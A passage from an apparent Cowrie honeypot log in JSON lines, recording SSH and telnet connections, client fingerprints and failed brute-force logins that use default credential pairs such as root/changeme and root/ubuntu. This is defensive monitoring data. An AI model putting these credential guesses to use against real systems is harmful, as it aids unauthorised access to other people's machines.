0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:29.235408Z","src_ip":"192.109.200.237","session":"ef87fa5329e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:29.486528Z","src_ip":"192.109.200.237","session":"ef87fa5329e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40614,"dst_ip":"10.17.0.5","dst_port":23,"session":"510f6135a385","protocol":"telnet","message":"New connection: 50.6.8.71:40614 (10.17.0.5:23) [session: 510f6135a385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:30.117887Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:30.573315Z","src_ip":"192.109.200.237","session":"ef87fa5329e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.109902143478394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:30.737920Z","src_ip":"50.6.8.71","session":"75252d0765e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.63519740104675,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:31.240792Z","src_ip":"50.6.8.71","session":"893470474d60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49340,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d66f388da1a","protocol":"ssh","message":"New connection: 192.109.200.237:49340 (159.203.135.109:22) [session: 2d66f388da1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:32.734938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:32.739433Z","src_ip":"192.109.200.237","session":"2d66f388da1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:32.821194Z","src_ip":"192.109.200.237","session":"2d66f388da1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpass123","message":"login attempt [root/testpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:33.066420Z","src_ip":"192.109.200.237","session":"2d66f388da1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:34.151525Z","src_ip":"192.109.200.237","session":"2d66f388da1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49348,"dst_ip":"159.203.135.109","dst_port":22,"session":"de9e5a4b0b6a","protocol":"ssh","message":"New connection: 192.109.200.237:49348 (159.203.135.109:22) [session: de9e5a4b0b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:36.168285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:36.173263Z","src_ip":"192.109.200.237","session":"de9e5a4b0b6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:36.255407Z","src_ip":"192.109.200.237","session":"de9e5a4b0b6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:36.506962Z","src_ip":"192.109.200.237","session":"de9e5a4b0b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:37.656427Z","src_ip":"192.109.200.237","session":"de9e5a4b0b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.58210563659668,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:39.255142Z","src_ip":"50.6.8.71","session":"1671c40e3692","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49364,"dst_ip":"159.203.135.109","dst_port":22,"session":"62c6b0ea104a","protocol":"ssh","message":"New connection: 192.109.200.237:49364 (159.203.135.109:22) [session: 62c6b0ea104a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:39.666659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:39.671673Z","src_ip":"192.109.200.237","session":"62c6b0ea104a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:39.848138Z","src_ip":"192.109.200.237","session":"62c6b0ea104a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:40.121613Z","src_ip":"192.109.200.237","session":"62c6b0ea104a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.610573053359985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:40.376523Z","src_ip":"50.6.8.71","session":"90a097c1b30d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34180,"dst_ip":"10.17.0.5","dst_port":23,"session":"c85ab947e2f7","protocol":"telnet","message":"New connection: 50.6.8.71:34180 (10.17.0.5:23) [session: c85ab947e2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:40.406213Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:41.211160Z","src_ip":"192.109.200.237","session":"62c6b0ea104a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34190,"dst_ip":"10.17.0.5","dst_port":23,"session":"b21c0d096210","protocol":"telnet","message":"New connection: 50.6.8.71:34190 (10.17.0.5:23) [session: b21c0d096210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:42.687237Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33478,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5316e94a0e1","protocol":"ssh","message":"New connection: 192.109.200.237:33478 (159.203.135.109:22) [session: b5316e94a0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:43.218243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:43.223163Z","src_ip":"192.109.200.237","session":"b5316e94a0e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:43.305380Z","src_ip":"192.109.200.237","session":"b5316e94a0e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:43.552118Z","src_ip":"192.109.200.237","session":"b5316e94a0e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:44.677140Z","src_ip":"192.109.200.237","session":"b5316e94a0e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33508,"dst_ip":"159.203.135.109","dst_port":22,"session":"f00f93bb7064","protocol":"ssh","message":"New connection: 192.109.200.237:33508 (159.203.135.109:22) [session: f00f93bb7064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:46.672236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:46.676553Z","src_ip":"192.109.200.237","session":"f00f93bb7064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:46.758618Z","src_ip":"192.109.200.237","session":"f00f93bb7064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:47.158025Z","src_ip":"192.109.200.237","session":"f00f93bb7064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:48.243569Z","src_ip":"192.109.200.237","session":"f00f93bb7064","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58144,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d35f474926a","protocol":"ssh","message":"New connection: 192.109.200.237:58144 (159.203.135.109:22) [session: 2d35f474926a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:50.259190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:50.263787Z","src_ip":"192.109.200.237","session":"2d35f474926a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:50.346261Z","src_ip":"192.109.200.237","session":"2d35f474926a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:50.592477Z","src_ip":"192.109.200.237","session":"2d35f474926a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:51.676602Z","src_ip":"192.109.200.237","session":"2d35f474926a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58148,"dst_ip":"159.203.135.109","dst_port":22,"session":"f650fe4933f7","protocol":"ssh","message":"New connection: 192.109.200.237:58148 (159.203.135.109:22) [session: f650fe4933f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:53.699279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:53.704372Z","src_ip":"192.109.200.237","session":"f650fe4933f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:53.786422Z","src_ip":"192.109.200.237","session":"f650fe4933f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:54.033463Z","src_ip":"192.109.200.237","session":"f650fe4933f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:55.119906Z","src_ip":"192.109.200.237","session":"f650fe4933f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58164,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbb43ef951e9","protocol":"ssh","message":"New connection: 192.109.200.237:58164 (159.203.135.109:22) [session: cbb43ef951e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:57.334863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:57.339550Z","src_ip":"192.109.200.237","session":"cbb43ef951e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-s